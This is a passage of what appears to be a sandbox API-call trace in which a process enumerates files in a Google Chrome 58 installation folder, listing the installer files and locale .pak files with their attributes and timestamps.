out: hFindFile=0x639888) returned 1 [0249.587] GetProcessHeap () returned 0x550000 [0249.587] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0249.587] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7d7940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7d7940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe9bf1b1, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x9a9480, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudtl.dat", cAlternateFileName="")) returned 1 [0249.587] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0249.587] GetProcessHeap () returned 0x550000 [0249.587] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0249.587] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0249.587] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.587] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrmstp.exe", cAlternateFileName="")) returned 1 [0249.587] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8388e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7c8388e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81d5b9a8, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0xad7d02b, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.7z", cAlternateFileName="")) returned 1 [0249.587] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0249.588] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 0 [0249.588] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0249.588] GetProcessHeap () returned 0x550000 [0249.588] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0249.588] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76be28f2, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x18958, dwReserved0=0x0, dwReserved1=0x0, cFileName="libegl.dll", cAlternateFileName="")) returned 1 [0249.588] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76f4ff08, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x397d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="libglesv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0249.588] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locales", cAlternateFileName="")) returned 1 [0249.588] GetProcessHeap () returned 0x550000 [0249.588] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0249.588] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0249.590] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.595] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeae1a98, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x6f4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am.pak", cAlternateFileName="")) returned 1 [0249.595] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb0b2b9, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x6df65, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar.pak", cAlternateFileName="")) returned 1 [0249.595] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb34ada, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x84ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg.pak", cAlternateFileName="")) returned 1 [0249.596] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb6582e, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xa9727, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn.pak", cAlternateFileName="")) returned 1 [0249.596] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb91760, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5082b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca.pak", cAlternateFileName="")) returned 1 [0249.596] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfebbaf81, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51809, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs.pak", cAlternateFileName="")) returned 1 [0249.596] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfebdf980, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x494f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="da.pak", cAlternateFileName="")) returned 1 [0249.596] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec06a90, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x463fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="de.pak", cAlternateFileName="")) returned 1 [0249.596] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec329c2, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x8f814, dwReserved0=0x0, dwReserved1=0x0, cFileName="el.pak", cAlternateFileName="")) returned 1 [0249.596] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec63716, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4244f, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB.pak", cAlternateFileName="")) returned 1 [0249.596] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec796af, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x42442, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 1 [0249.596] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec9928c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4fca5, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-419.pak", cAlternateFileName="")) returned 1 [0249.596] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfecc51be, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x512b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="es.pak", cAlternateFileName="")) returned 1 [0249.596] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfecf10f0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x469ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="et.pak", cAlternateFileName="")) returned 1 [0249.596] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed1f733, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x72286, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa.pak", cAlternateFileName="")) returned 1 [0249.596] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed44132, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4b6ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi.pak", cAlternateFileName="")) returned 1 [0249.597] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed72775, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51c09, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil.pak", cAlternateFileName="")) returned 1 [0249.597] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed97174, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x55a6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr.pak", cAlternateFileName="")) returned 1 [0249.597] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfedd1b0c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x9f1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu.pak", cAlternateFileName="")) returned 1 [0249.597] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee07682, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5df23, dwReserved0=0x0, dwReserved1=0x0, cFileName="he.pak", cAlternateFileName="")) returned 1 [0249.597] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee383d6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xa3281, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi.pak", cAlternateFileName="")) returned 1 [0249.597] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee6df4c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4bc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr.pak", cAlternateFileName="")) returned 1 [0249.597] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee9505c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x54a87, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu.pak", cAlternateFileName="")) returned 1 [0249.597] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeebe87d, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x47e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="id.pak", cAlternateFileName="")) returned 1 [0249.597] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeee598d, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4e532, dwReserved0=0x0, dwReserved1=0x0, cFileName="it.pak", cAlternateFileName="")) returned 1 [0249.597] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef118bf, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5f8fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja.pak", cAlternateFileName="")) returned 1 [0249.597] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef3ff02, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xb6beb, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn.pak", cAlternateFileName="")) returned 1 [0249.597] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef67012, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x50b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko.pak", cAlternateFileName="")) returned 1 [0249.597] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef95655, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt.pak", cAlternateFileName="")) returned 1 [0249.598] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfefd4e0f, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51fd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv.pak", cAlternateFileName="")) returned 1 [0249.598] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeffe630, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xccccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml.pak", cAlternateFileName="")) returned 1 [0249.598] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff0341a6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xa1beb, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr.pak", cAlternateFileName="")) returned 1 [0249.598] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, 